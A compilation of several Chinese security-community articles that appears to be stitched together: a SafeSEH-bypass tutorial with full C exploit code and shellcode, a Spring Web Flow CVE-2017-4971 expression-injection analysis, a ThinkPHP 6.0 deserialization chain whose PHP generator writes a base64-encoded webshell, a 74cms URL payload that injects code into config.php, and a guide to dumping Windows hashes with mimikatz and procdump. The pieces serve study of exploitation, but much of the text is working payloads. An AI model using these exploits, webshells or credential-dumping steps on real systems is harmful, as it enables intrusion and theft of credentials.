如果还没有理解，可以回到第一章，去看一下S.E.H分析中关于EXCEPTION_DISPOSITION
结构的介绍，相信你一定会有收获。
**2.3.2 绕过SafeSEH实战**
编译环境
WINDOWS XP HOME Editon VC++6.0
寻找Gadget
可以通过Mona插件查找格式为POP POP RET格式的代码片段。//前文已经介绍
但是通过ImmunityDebbger自身的搜索功能也是可以完成搜索的。右击代码段-搜索全部模块的命令序列 就可以进行搜索。输入 POP 某个寄存器名
RET即可找到很多匹配的字符串，寻找一个符合条件的。（没有0x00字节，没有操作敏感寄存器等）
我们找到Kernel32.DLL模块中的一段代码，地址为0x77F54F7B，WINXP没有ASLR的情况下，Kernel的基地址不发生变化，所以直接硬编码就可以用了。
调试程序
F9运行程序，程序停留在DIV指令处。调试器因为发现除0错误，所以自己断下了。
此时如果运行Shirft+F9（如果要看具体细节将F9换成F7/8），就可以继续运行.
此时我们发现程序跳转到了0x77F54F7B处了。
此时的栈地址和我们之前填充的栈的距离已经很远了，但是观察此时的ESP+8的位置（0x12FA40），发现这个位置上居然指向0x12FF1C，也就是我们的NEXT
RECORD的地址。
各位读者都知道，我们的NEXT RECORD存放的字节码为EB 06 90 90。也就是JMP SHORT 0x6.
（调试器将其翻译为跳转到0x12FF24，但是实际上JMP SHORT是相对跳转，而不是绝对地址跳转）
此时执行POP POP RET，程序就成功跳转到了JMP SHORT
0x6，然后再次跳转，进入了我们的SHELLCODE，成功弹出了Migraine专属的弹窗。
源码如下，主要参考的是《0Day漏洞分析》的SafeSEH一章。
编译环境
WINDOWS XP HOME Editon VC++6.0
#include "stdafx.h"
#include<stdio.h>
#include<windows.h>
char shellcode[]=
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"xEBx06x90x90" // Point to Next SEH record
"x7Bx4FxF5x77" //SE handler
//"x70xfex12x00"//SE handler
"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
"x53x68x61x69x6Ex65x68x6Dx69x67x72x8BxC4x53x50x50"
"x53xFFx57xFCx53xFFx57xF8";
void MyExceptionhandler()
{
printf("got an exception ,press Enter to kill the process!n");
getchar();
ExitProcess(1);
}
void SEH_test()
{
char buf[200];
int zero=0;
//__asm int 0x3;
__try{
printf("In the SEH_test!n");
strcpy(buf,shellcode);
zero=4/zero;
}
__except(MyExceptionhandler()){};
}
int main(int argc, char* argv[])
{
SEH_test();
return 0;
}
希望能构建更短的payload，尝试向前跳转方案（思路）
#include "stdafx.h"
#include<stdio.h>
#include<windows.h>
char shellcode[]=
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90"
"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
"x53x68x61x69x6Ex65x68x6Dx69x67x72x8BxC4x53x50x50"
"x53xFFx57xFCx53xFFx57xF8x90x90x90x90"
"xE9x4FxFFxFF" // Point to Next SEH record
"x7Bx4FxF5x77"; //SE handler
void MyExceptionhandler()
{
printf("got an exception ,press Enter to kill the process!n");
getchar();
ExitProcess(1);
}
void SEH_test()
{
char buf[200];
int zero=0;
//__asm int 0x3;
__try{
printf("In the SEH_test!n");
strcpy(buf,shellcode);
zero=4/zero;
}
__except(MyExceptionhandler()){};
}
int main(int argc, char* argv[])
{
SEH_test();
return 0;
}
这个方案的局限性。如果SHELLCODE长度过长，就会发生这段代码现在的状况。
从12FF1C向前跳转到12FE70距离大于了JMP
SHORT到最大距离128字节。所以我们无法进行短跳转，如果使用唱跳转需要多一个字节的空间，也就需要从NEXT RECORD多一个字节，覆盖到SE
handler的空间。如下图所示。
当然，如果对shellcode进行精心设计，让向前跳转，从shellcode的某个位置跳转到shellcode的头部进行执行。但是这样，Exploit的稳定性就未知了。所以还是建议选择向后跳转，除非shellcode长度非常短。
### 2.4绕过重重保护实现的SEH利用
在开启全面硬件 DEP的Windows Vista下绕过SafeSEH
编译环境
WINDOWS VISTA（使用x64系统不影响实验，只要编译的PE文件是x86的即可）
VS2010
**2.4.1安全选项设置**
Windows Vista关闭ASLR
虽然绕过ASLR也是一个很有趣的过程，不过从前文的S.E.H和SafeSEH直接到DEP和ASLR的双重加持，跨度未免太大，所以决定暂时降低一些难度。
修改注册表的方式关闭比较麻烦，所以可以在VS编译的时候将“配置属性-链接器-高级-随机基址”的值修改为否即可
开启硬件DEP
和ASLR一样，在链接器中打开数据执行保护DEP。
开启GS保护
预防经典栈溢出的Stack Cookie
Windows Vista系统为系统模块全面开启了SafeSEH和DEP
全面开启SafeSEH可以防止程序跳转到开启SafeSEH到模块，也就是说我们无法通过控制SE
handler来跳转到任何开启SafeSEH的模块。导致我们无法使用kernel32.dll模块的pop pop ret实现绕过SafeSEH。在Win
XP下还可以使用kernel下到代码段进行ROP，但是Windows Vista让利用系统Dll进行ROP失去了可能性。
而DEP的开启，则是当我们通过pop pop ret直接跳转执行shellcode的时候，让栈内的shellcode无法执行。
两种安全措施的结合效果达到了1+1=3的效果，让程序固若金汤。
**2.4.2通过未开启SafeSEH的DLL绕过**
Windows
Vista大部分模块采用SafeSEH，导致通过覆盖S.E.H跳转的代码无家可归，因为都开启了SafeSEH。所以我们需要为漏洞利用创造条件，我们这里建立一个没有开启SafeSEH的DLL。
在编译选项中关闭SafeSEH(VS 2010只需要删除/SafeSEH 选项即可，默认是关闭的)
Test.cpp
#include "stdafx.h"
void Vuln()
{
//存放可利用的gadgets
__asm{
pop ecx
pop ebx
ret
}
}
生成Test.dll
漏洞程序代码
注意要把Test.dll放到和该程序的同一个目录下
#include "stdafx.h"
#include<stdio.h>
#include<windows.h>
char shellcode[]=””;
int MyExceptionhandler()
{
printf("got an exception ,press Enter to kill the process!n");
getchar();
ExitProcess(1);
return 0;
}
void SEH_test()
{
char buf[200];
int zero=0;
//__asm int 0x3;
__try{
printf("In the SEH_test!n");
strcpy(buf,shellcode);
zero=4/zero;
}
__except(MyExceptionhandler()){};
}
int main(int argc, char* argv[])
{
LoadLibrary(_T("Test.dll")); //手动加载DLL
SEH_test();
return 0;
}
寻找gadget
通过!py mona module/或者OD的SafeSEH/OllyFindAddr插件分析发现 Test.dll没有开启SafeSEH
搜索Gadget
!py mona.py findwild -s pop reg32# pop reg32 # ret -m “Test.dll”
我们在Test.dll模块中我们埋藏了可用gadget
所以很容易地找到符合的地址为0x6DAB13CE
同时通过!py mona.py mod 发现Test.dll模块没有开启SafeSEH
接下来就和上一节的内容类似了，使用POP POP RET结合JMP SHORT 跳转进入shellcode。
程序实例：
#include "stdafx.h"
#include<stdio.h>
#include<windows.h>
char shellcode[]=
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90"
"xEBx06x90x90" // Point to Next SEH record
"xCEx13xAEx6D" //SE handler 0x6DAE13CE
//"x70xfex12x00"//SE handler
"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
"x53x68x61x69x6Ex65x68x6Dx69x67x72x8BxC4x53x50x50"
"x53xFFx57xFCx53xFFx57xF8";
int MyExceptionhandler()
{
printf("got an exception ,press Enter to kill the process!n");
getchar();
ExitProcess(1);
return 0;
}
void SEH_test()
{
char buf[200];
int zero=0;
//__asm int 0x3;
__try{
printf("In the SEH_test!n");
strcpy(buf,shellcode);
zero=4/zero;
}
__except(MyExceptionhandler()){};
}
int main(int argc, char* argv[])
{
LoadLibrary(_T("Test.dll"));
SEH_test();
return 0;
}
如果程序本身的DEP是关闭的，那么效果应该和我这里是一样的。
当然，如果地址是在调试模式下确定的，那么也只有debug时候才能成功利用，主要原因是调试状态和实际状态的内存机制可能存在差异。解决方案就是使用getchar()/int
0x3中断(建议前者，因为每次编译DLL的载入基地址可能都会变化，即使没有开启ASLR)，然后再Attach来调试。
**2.4.3扩展思路：结合ROP绕过DEP和SafeSEH的个人理解**
开启DEP
硬件 DEP 利用了在 DEP 兼容的 CPU 的 NX(“无执行页保护”，AMD 规格)或者 XD(“不 能执行”，intel
规格)位，并且将特定部分的内存(只能包含数据，比如说默认堆，栈，内 存池)标记为不可执行。
当尝试在一个 DEP 保护的数据页执行代码时，将会发生访问拒绝
(STATUS_ACCESS_VIOLATIO(N 0xc0000005))
也就是说我们放在栈帧中的shellcode将不会被成功执行
获取WinExec的函数的地址，可以算出WinExec相对kernel32的偏移地址为0x8BE0D
在没有开启ASLR的时候，是可以直接跳转的。只需要先在栈中放好参数即可。
但是通过覆盖SEH是无法直接跳转到WinExec函数的，因为Kernel32也开了SafeSEH，加上DEP的开启，导致我们POP POP
RET方案也失效了。不过我们依旧可以通过未开启SafeSEH/DEP的模块实现绕过。
但目前通用的方案就是DEP绕过方案。但是在开启SafeSEH之后，通过SEH覆盖的即使使用ROP绕过难度比较大。这部分在之后的学习中会进一步探讨。
## 总结
S.E.H结构的覆盖是Win下的一个特色，学习这部分知识非常有意思，因为在Linux下的溢出中从来没有接触过，听周围做PWN的朋友说最近也是出了不少Win下的PWN，很多都和S.E.H机制有所关联。
最后感谢二进制安全的前辈们给我的指引，作者水平有限，如有错误欢迎评论区指正。
## 参考文献
[1]wwzzww.windows-SEH详解[DB/OL].
<https://bbs.pediy.com/thread-249592.htm>, 2019-2-22
[2] [冷月宫主](https://me.csdn.net/e_wsq).Win32结构化异常处理(SEH)——异常处理程序( **try/**
except)[DB/OL]
<https://blog.csdn.net/e_wsq/article/details/17008097> ,2013-11-28
[3][护花使者cxy](https://me.csdn.net/qq_38924942).Windows XP sp3 系统安装 Windbg 符号文件
Symbols 时微软失去支持的解决方案[DB/OL].
<https://blog.csdn.net/qq_38924942/article/details/87801649,2019-02-20>
[4][tang3](http://blog.nsfocus.net/author/tang3/),看教程学溢出之SEH利用[DB/OL].<http://blog.nsfocus.net/tutorial-overflow/,2017>
[5] [chen_sunn](https://me.csdn.net/chen_sunn),开始写Immunity Debugger
PyCommand.[DB/OL].
<https://blog.csdn.net/chen_sunn/article/details/45113065,2015-04-18>
[6] [BugMeOut](https://me.csdn.net/wang471003247).为windbg安装mona.py[DB/OL].
<http://blog.csdn.net/bugmeout/article/details/45199139,2015-04-22>
[7]王清.0Day安全:软件漏洞分析技术[M].第二版.电子工业出版社,2011
[8]看雪翻译.Exploit编写教程[PDF],2010
[9] [Umiade](https://me.csdn.net/qq_19550513).SafeSEH原理及绕过技术浅析[DB/OL].
<https://blog.csdn.net/qq_19550513/article/details/64438170,2017-03-21>
[10] [swartz_lubel](https://me.csdn.net/swartz_lubel),栈溢出笔记1.10
基于SEH的栈溢出[DB/OL].
<https://blog.csdn.net/swartz_lubel/article/details/77921893,2017-09-10>
[11][zhou191954](https://me.csdn.net/zhou191954)./SafeSEH编译选项 :
原理及绕过技术浅析[DB/OL]
.<https://blog.csdn.net/zhou191954/article/details/38020481,2014-07-21>
[12] [woijal520](https://me.csdn.net/woijal520).Win32 SEH 详解[DB/OL].
<https://blog.csdn.net/woijal520/article/details/7191665,2012-01-10>
[13][Yx0051](https://me.csdn.net/Yx0051).利用未启用SafeSEH模块绕过SafeSEH[DB/OL].
<https://blog.csdn.net/Yx0051/article/details/76803514,2017-08-07> | 社区文章 |
作者：[
**iswin@ThreatHunter**](https://threathunter.org/topic/593d562353ab369c55425a90)
Spring 严重的漏洞历来都不算多，之前比较严重的那个问题是 Spring 的 JavaBean 的自动绑定功能，导致可以控制 class
，从而导致可以利用某些特性执行任意代码，但是那个漏洞比较鸡肋，不是每次都能触发。
由于 Spring 的框架越来越多，而且后面引入了 SpringEl 作为默认的表达式解析方式，所以一旦引入了类似于 OGNL
的表达式，很可能会带来一些安全问题，本次漏洞就是由于 Spring Web Flow 的数据绑定问题带来的表达式注入，从而导致任意代码执行。
#### 一. 漏洞简介
这个漏洞在今年6月初刚被提交([传送门](https://pivotal.io/security/cve-2017-4971))，
官方并没有详细的信息，通过官方描述和补丁的对比，我们可以大致推断应该是 Spring Web Flow 在 Model 的数据绑定上面，由于没有明确指定相关
model
的具体属性导致从表单可以提交恶意的表达式从而被执行，导致任意代码执行的漏洞，这个漏洞利用除了版本的限制之外还有两个前置条件，这两个前置条件中有一个是默认配置，另外一个就是编码规范了，漏洞能不能利用成功主要就取决于后面的条件。
整体来说这个漏洞危害应该还是有一些的，如果满足2个前置条件，那么直接 RCE 是没什么问题的。在分析这个漏洞之前需要一些 Spring Web flow
的基础知识，给大家推荐[这篇文章](https://www.ibm.com/developerworks/cn/education/java/j-spring-webflow/index.html)。
#### 二. 漏洞分析
一开始我也不清楚这个漏洞到底是怎么触发，对于这个漏洞的理解，最好去看下 Spring Web Flow 的教程，搞明白里面的 view-state
是啥，这里不过多对 Spring Web Flow 的基础知识过多解释，那么我们直接看补丁，如下图:
我们发现这里对 _addEmptyValueMapping(DefaultMapper mapper, String field, Object
model)_ 这个方法里面表达式解析的实现类进行了替换，直接使用了 BeanWrapperExpressionParser
来解析，关于这个类我们后面再详细说，那么知道触发漏洞的函数后，我们就可以用 Eclipse 或者 Spring Tools 来跟踪下函数调用栈，具体如下：
通过调用关系我们可以发现一共有一下两个函数调用了 addEmptyValueMapping 方法
* addDefaultMappings(DefaultMapper mapper, Set parameterNames, Object model)
* addModelBindings(DefaultMapper mapper, Set parameterNames, Object model)
这里通过调用关系我们可以大概的搞明白 Spring Web Flow 的执行顺序和流程，由 flowcontroller 决定将请求交给那个 handler
去执行具体的流程，这里我们需要知道当用户请求有视图状态处理时，会决定当前事件下一个执行的流程，同时对于配置文件中我们配置的 view-state
元素，如果我们指定了数据的 model ，那么它会自动进行数据绑定，xml 结构如下(这里以官方的example中的 book 项目为例子)
言归正传，本次漏洞出现的原因就是在 view-state 节点中数据绑定上，我们继续跟踪 addEmptyValueMapping 方法的调用过程，这里通过
eclipse 我们可以发现 bind 方法间接的调用了 addEmptyValueMapping 函数，
到这里我们知道了addEmptyValueMapping 函数存在表达式执行的点，我们现在来详细看下这个 addEmptyValueMapping
函数，如下图
这里我们可以看见，只有控制了 field 参数才能出发漏洞，所以我们重点是找到有没有点我们可以控制从而控制 field
参数来进行任意代码执行，这里明确目标后，我们回过头来看 addDefaultMappings 和 addModelBindings
这两个函数，既然这两个函数都调用了存在缺陷的函数，那么我们看看这两个函数的区别是什么，而且那个函数能能能控制 field 参数，两个函数的区别如下:
这里比较明显的区别就是 addModelBindings 函数中 `for (Binding binding :
binderConfiguration.getBindings())` 存在这样一个循环，而且就是这个循环的控制决定了 field
参数的值，经过进一步分析，这里控制 field 的参数的决定性因素就是 binderConfiguration
这个变量所控制的值，这里经过源码的跟踪我们可以发现，binderConfiguration 函数的值就是 webflow-*.xml 中 view-state 中 binder 节点的配置，所以这个函数的值来源于配置文件，所以这个函数我们无法控制，从而无法触发漏洞，所以我们重点来看看
addDefaultMappings 这个函数，我们发现 addDefaultMappings 中我们可以控制 field
参数，所以我们重点来看看如何去触发这个函数。
现在我们基本上可以确定了 addDefaultMappings 函数是我们触发漏洞的关键点，那么如上图所示，bing
函数中调用了这两个函数，那么我们可以看出只有当 binderConfiguration 为空的时候才能触发我们的漏洞，那么我们刚才也说了
binderConfiguration 这个值是由配置文件中是否有 binder 节点来控制的（这里需要注意的是程序执行到 bind 方法的前置条件是
view-state 节点中是否配置了 model 属性，即绑定的 javabean 对象是什么），而且 addDefaultMappings 函数中
parameterNames 参数就是我们从表单中传递的值，所以到这里漏洞的触发流程和触发条件基本上清楚了，触发条件如下：
* 在 webflow 配置文件中 view-state 节点中指定了 model 属性，并且没有指定绑定的参数，即 view-state 中没有配置 binder 节点
* 而且 MvcViewFactoryCreator 类中 useSpringBeanBinding 默认值（false）未修改
这里为什么一定要 useSpringBeanBinding 的值为 false ，我们来看一下 addEmptyValueMapping 函数，这里的
expressionParser 变量的声明类是 ExpressionParser 接口，那么决定最后
`expressionParser.parseExpression(field, parserContext)`
这个函数来执行任意表达式是这个变量的赋值，那么在 spring web flow 中这个 expressionParser 的默认值就是
WebFlowELExpressionParser 的实例，这个类表达式默认的解析是有 spel
来执行的，具体可以去跟踪函数，那么在org.springframework.webflow.mvc.builder.MvcViewFactoryCreator.createViewFactory(Expression,
ExpressionParser, ConversionService, BinderConfiguration, Validator,
ValidationHintResolver)这个类如下图:
我们可以看见如果 useSpringBeanBinding 这个属性为 false 那么久使用默认的解析类，如果这个值为 true 就由
BeanWrapperExpressionParser 这个类来解析，这个类的 parseExpression 函数我们来看看
首先决定了能不能执行的第一个控制变量是 allowDelimitedEvalExpressions ，这个默认值是 false
，所以这里是执行不了表达式的。
所以这里必须满足 useSpringBeanBinding 这个默认值不被改变。
这里需要注意一点，我们构造的恶意参数名称必须以_开头，具体原因看 addDefaultMappings 函数中的 fieldMarkerPrefix 变量。
OK，到这里漏洞的触发条件和流程已经很明确了，下面说说具体怎么利用。
#### 三. 漏洞利用
这次漏洞测试是以 Spring Web flow 官方的 Example 中的例子来进行，因为这里的某个 flow 满足我们的条件，具体配置如下：
[项目地址](https://github.com/spring-projects/spring-webflow-samples/tree/master/booking-mvc)，这里在测试时需要注意修改
org.springframework.webflow.samples.booking.config.WebFlowConfig.mvcViewFactoryCreator()
方法中的改成 `factoryCreator.setUseSpringBeanBinding(false);` 因为这个工程修改了
useSpringBeanBinding 的默认值。
这里直接到订阅图书，上图说了在 reviewBooking flow 中就能出发，如下图:
点击 confirm ，然后抓包添加恶意参数变量，如下图:
OK，大功告成。
**参考资料**
[1] : <https://pivotal.io/security/cve-2017-4971>
[2] : <https://www.ibm.com/developerworks/cn/education/java/j-spring-webflow/index.html>
* * *
帮发小广告：
为了更好的和广大安全爱好者交流，我们搭建了个交流社区，社区主要聚焦在威胁发现以及安全数据分析等领域，我们希望有更多的朋友能加入，能一起分析知识、共同进步。社区地址：https://threathunter.org/，
感谢大家支持。
* * * | 社区文章 |
# Thinkphp 6.0 新的Gadget
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
网上关于thinkphp pop 链的分析大概都是将下面几篇文章自己复现了一遍
<https://blog.riskivy.com/%E6%8C%96%E6%8E%98%E6%9A%97%E8%97%8Fthinkphp%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%88%A9%E7%94%A8%E9%93%BE/>
<https://github.com/Nu1LCTF/n1ctf-2019/tree/master/WEB/sql_manage>
<https://www.anquanke.com/post/id/187332>
<https://www.anquanke.com/post/id/187393>
下面补充thinkphp 6.0 下面的几条新链
搜索`__destruct`
在`__destruct`中调用了`$this->save()` 接下来我们去找子类中哪些实现了`save` 方法
通过find Usages 查看哪些类extends 了AbstractCache
public function getForStorage()
{
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function cleanContents(array $contents)
{
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
array_flip 是将键值进行翻转
array_intersect_key 计算交集
`$this->getForStorage()` 可控, 将要cache的内容转化成`json`格式
public function save()
{
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
`$this->store` 可控，set可能能触发`__call`， 但是如果某个class 本身set 就会做一些危险操作也是利用的，这里我找到了
public function set($name, $value, $expire = null): bool
{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?phpn//" . sprintf('%012d', $expire) . "n exit();?>n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
clearstatcache();
return true;
}
return false;
}
这里有两种利用方式
1.利用 $this->serialize
protected function serialize($data): string
{
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'][0] ?? "OpisClosureserialize";
return $serialize($data);
}
这里`$serizlize` 是可控的，`$data` 会被转换成json，有没有办法利用呢？
答案是有的，利用system
最后相当于执行的是
system('{"1":"`whoami`"}');
在shell里面，`的优先级是高于”的，所以会先执行whoami 然后再将执行结果拼接成一个新的命令
2.利用写文件写个shell
public function getCacheKey(string $name): string
{
$name = hash($this->options['hash_type'], $name);
if ($this->options['cache_subdir']) {
// 使用子目录
$name = substr($name, 0, 2) . DIRECTORY_SEPARATOR . substr($name, 2);
}
if ($this->options['prefix']) {
$name = $this->options['prefix'] . DIRECTORY_SEPARATOR . $name;
}
return $this->options['path'] . $name . '.php';
}
会根据hash的类型进行hash，然后和path进行拼接，所以文件名的前缀我们是可控的。
`$data = $this->serialize($value);` 还会再处理一次，可以用一些字符串函数比如serialize, strip_tags
等
但是会发现在写的php前面有个`exit();` ，可以通过伪协议绕过。
这里面会有几个小坑，第一个要在payload前面填充几个字符，将前面凑成4的倍数，payload编码的base64不要以=结尾，因为后面还有拼接的东西。
<?php
namespace thinkfilesystem{
class CacheStore{
protected $store;
protected $key;
protected $expire;
protected $cache;
protected $complete;
protected $autosave;
public function __construct($store){
$this->store = $store;
$this->autosave = false;
$this->key = "haha";
$this->cache = ["ppp"];
$this->complete = "xxxxxPD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/PmYK";
}
}
}
namespace thinkcachedriver{
class File{
protected $writeTimes = 0;
protected $options;
protected $expire;
public function __construct()
{
$this->options = [
'expire' => 2333,
'hash_type' => "md5",
'cache_subdir' => false,
'prefix' => false,
'path' => 'php://filter/convert.base64-decode/resource=/var/www/html/public/tmp/592dc1993715d4b8b3be46b75a8a0860/',
'serialize' => false,
'data_compress' => false,
'serialize' => ['serialize']
];
}
}
}
namespace {
$store = new thinkcachedriverFile();
$cache = new thinkfilesystemCacheStore($store);
$s = serialize($cache);
echo $s;
echo base64_encode($s);
}
system 可以参考上面的自己写一个。另外thinkphp 5.2.x 写shell的gadget，也是可以利用的，需要稍微改一下。 | 社区文章 |
### 0x00 前言
厂商：74cms
下载地址：<http://www.74cms.com/download/index.html>
关于版本：
新版的74cms采用了tp3.2.3重构了，所以可知底层是tp，74cms新版升级是后台升级的，所以先将将升级方法。
注：此漏洞不用升级至最新版本也可使用。
### 0x01 74cms升级到最新版
1， 先去官网下载 骑士人才系统基础版(安装包)
2， 将下载好的包进行安装
3， 进入后台点击查看如果不是最新版的话，请点击升级！
5， 如果是本地环境的话，会提示 域名不合法升级失败，这个问题很好解决
6， 搜索文件74cms\upload\Application\Admin\Controller\ApplyController.class.php
7， 查找所有$_SERVER['HTTP_HOST'] 改为 <http://baidu.com> 即可
### 0x02漏洞演示
url: http://74cms.test/index.php?m=Admin&c=Tpl&a=set&tpl_dir= ', 'a',phpinfo(),'
shell:http://74cms.test/Application/Home/Conf/config.php
路径：\74cms\upload\Application\Home\Conf\config.php
### 0x03 漏洞原理
url:
[http://74cms.test/index.php?m=Admin&c=Tpl&a=set&tpl_dir=](http://74cms.test/index.php?m=Admin&c=Tpl&a=set&tpl_dir=)
', 'a',phpinfo(),'
路径：74cms\upload\Application\Admin\Controller\TplController.class.php
路径： 74cms\upload\Application\Common\Controller\BackendController.class.php
### 0x04题外话-认真版getshell方法
认真版getshell方法：
实际上想要进行getshell利用组合漏洞是很简单的事情。我的前台日到后台的getshell方法是这样的。
1. 首先利用-任意文件读取漏洞-读取系统中的hash值
2. 然后在通过漏洞-前台sql注入-来插入用户数据-因为我发现他可以支持执行双语句所以可以执行mysql双语句插入一条管理员用户
3. 在通过这个后台getshell漏洞
即可完成一套日穿 | 社区文章 |
# 横向移动
## PTH
如果找到了某个用户的ntlm hash，就可以拿这个ntlm hash当作凭证进行远程登陆了
其中若hash加密方式是 rc4 ，那么就是pass the hash
若加密方式是aes key,那么就是pass the key
注意NTLM和kerberos协议均存在PTH:
NTLM自然不用多说
kerberos协议也是基于用户的client hash开始一步步认证的，自然也会受PTH影响
那前提就是要获取hash值了
### HASH获取
1.使用meterpreter里的mimikatz模块
meterpreter>load mimikatz
meterpreter>mimikatz_command -f mimikatz的指令
privilege::debug 提权 samdump::hashes dump哈希
或者
meterpreter>msv/kerberos/widgst
2.使用meterpreter自带的hash获取模块
meterpreter>hashdump
meterpreter>run windows/gather/smart_hashdump (推荐使用这个)
3.向目标机上传mimikatz远程调用mimikatz.exe dump出hash，mimikatz需要免杀处理
意思就是既然我们获取到了shell，我们直接向目标机上传一个mimikatz然后在shell里使用它就行了.
使用方法为cmd窗口打开mimikatz.exe，进入mimikatz终端，然后输入mimikatz指令即可
4.上传procdump到目标机，获取到lsass.dmp文件后将其传回本地又mimikatz来dump哈希
procdump.exe是微软自带的程序，所以不会触发杀毒。所以可以通过它传回lsass.dmp本地提取hash
procdump64.exe -accepteula -ma lsass.exe lsass.dmp 执行该指令，获取到lsass.dmp
然后将其传回本地
通过mimikatz.exe分别执行以下命令
"sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"
[Procdump](https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump)：<https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump>
[mimikatz](https://github.com/gentilkiwi/mimikatz/releases)：<https://github.com/gentilkiwi/mimikatz/releases>
5.使用cobalt strike 获取hash
beacon>hashdump
beacon>mimikatz mimikatz指令
6.利用sam表
mimikatz在线读sam表中的hash
privilege::debug
token::elevate
lsadump::sam
将sam表下载到本地由mimikatz分析
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
在远端shell使用以上命令导出SYSTEM 和 SAM文件，并将其待会本地，由mimikatz分析
mimikatz运行
mimikatz # lsadump::sam /sam:SAM /system:SYSTEM
Domain : STU1
